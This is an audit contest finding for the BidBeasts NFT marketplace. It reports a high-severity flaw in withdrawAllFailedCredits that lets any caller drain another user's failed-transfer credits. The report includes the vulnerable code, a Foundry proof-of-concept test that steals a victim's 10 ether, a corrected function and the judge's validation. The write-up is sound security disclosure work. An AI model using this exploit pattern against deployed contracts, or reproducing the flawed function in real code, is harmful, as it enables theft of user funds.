Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Incorrect Mapping Update Allows Unauthorized Fund Withdrawal in `BidBeastsNFTMarket::withdrawAllFailedCredits` Function

0xzhd

Root + Impact

  • Root Cause: The withdrawAllFailedCredits function incorrectly clears the failedTransferCredits[msg.sender] balance instead of failedTransferCredits[_receiver], despite loading the withdrawal amount from failedTransferCredits[_receiver]. This mismatch allows any user to specify an arbitrary _receiver address (e.g., another user’s address) and withdraw those funds, as no ownership or authorization check is performed. The function’s logic fails to restrict withdrawals to the rightful recipient.

  • Impact: This vulnerability enables malicious actors to steal funds credited to any address by passing that address as _receiver, draining others’ failedTransferCredits while resetting their own (often empty) balance to zero. This undermines the contract’s financial integrity, exposes users to asset loss, and erodes trust in the marketplace.

Description:

The withdrawAllFailedCredits function loads the amount to withdraw from failedTransferCredits[_receiver] but clears the balance of failedTransferCredits[msg.sender]. This allows any user to withdraw funds credited to any _receiver address, regardless of whether they are entitled to those funds. For example, a malicious user could pass another user's address as _receiver to steal their funds, while clearing their own failedTransferCredits balance.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

  • Likelihood: High. The vulnerability is exploitable by any user with access to the contract, requiring only a single transaction with an arbitrary _receiver address. Automated scripts or bots can easily target users with non-zero failedTransferCredits, especially in a busy marketplace.

  • Impact: High. Unauthorized withdrawals result in direct financial loss for victims, as attackers can drain credited funds. The ability to repeatedly exploit this without affecting the victim’s balance amplifies the damage, potentially leading to significant theft and irreparable trust issues in the platform.

Proof of Concept:

  • This test demonstrates an unauthorized credit withdrawal vulnerability in BidBeastsNFTMarket::withdrawAllFailedCredits.

  • An attacker, who does not own any credits, can call withdrawAllFailedCredits(alice) to steal Alice’s credits while resetting their own (empty) credits to zero.

  • The test confirms that Alice’s credits remain unchanged, and the attacker receives the funds.

Results:

  • Alice has 10 ether in failedTransferCredits[alice] initially.

  • Attacker (with no credits) calls withdrawAllFailedCredits(alice).

  • Attacker receives 10 ether, Alice’s credits remain 10 ether, and the attacker’s credits are set to 0.

  • This confirms the incorrect logic in the function allowing unauthorized withdrawals.

Add the following to the BidBeastsNFTMarketTest.t.sol test file to reproduce the vulnerability:

Proof of Code
// Exploit - Attacker steals Alice's funds
function testExploitStealFromAlice() public {
address alice = makeAddr("Alice");
address attacker = makeAddr("Attacker");
​
vm.deal(address(market), 100 ether);
​
// --- Write mapping entries directly into contract storage using vm.store ---
// Confirm the mapping storage slot index for failedTransferCredits.
// In this contract the variable order shows failedTransferCredits is at slot 5.
uint256 mappingSlot = 5;
​
bytes32 aliceKey = keccak256(abi.encode(alice, uint256(mappingSlot)));
​
// Write values:
vm.store(address(market), aliceKey, bytes32(uint256(10 ether)));
​
// Sanity: getters reflect the stored values
assertEq(market.failedTransferCredits(alice), 10 ether);
​
uint256 attackerBalanceBeforeAttack = attacker.balance;
uint256 initialAliceBalance= market.failedTransferCredits(alice); // 10 ETH
​
// Attacker steals Alice's funds
vm.prank(attacker);
market.withdrawAllFailedCredits(alice);
​
uint256 attackerBalanceAfterAttack = attacker.balance;
​
console.log("Attacker's balance before attack:", attackerBalanceBeforeAttack);
console.log("Attacker's balance after attack:", attackerBalanceAfterAttack);
​
// Check that Attacker received 10 ETH
assertEq(attackerBalanceAfterAttack, attackerBalanceBeforeAttack + 10 ether);
​
// Alice's credits remain unchanged (due to the bug clearing msg.sender's credits)
assertEq(market.failedTransferCredits(alice), initialAliceBalance); // Still 10 ETH (due to the bug)
​
// Attacker's own credits are zeroed (an additional issue)
assertEq(market.failedTransferCredits(attacker), 0);
​
// Logs:
// Attacker's balance before attack: 0
// Attacker's balance after attack: 10000000000000000000
}

Recommended Mitigation:

  • Ensure that only the rightful recipient (_receiver) can withdraw their own funds by checking that _receiver == msg.sender.

  • Clear the balance of _receiver instead of msg.sender.

  • Example:

function withdrawAllFailedCredits(address _receiver) external {
if (_receiver != msg.sender) {
revert CanOnlyWithdrawOwnCredits();
}
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
failedTransferCredits[_receiver] = 0;
(bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.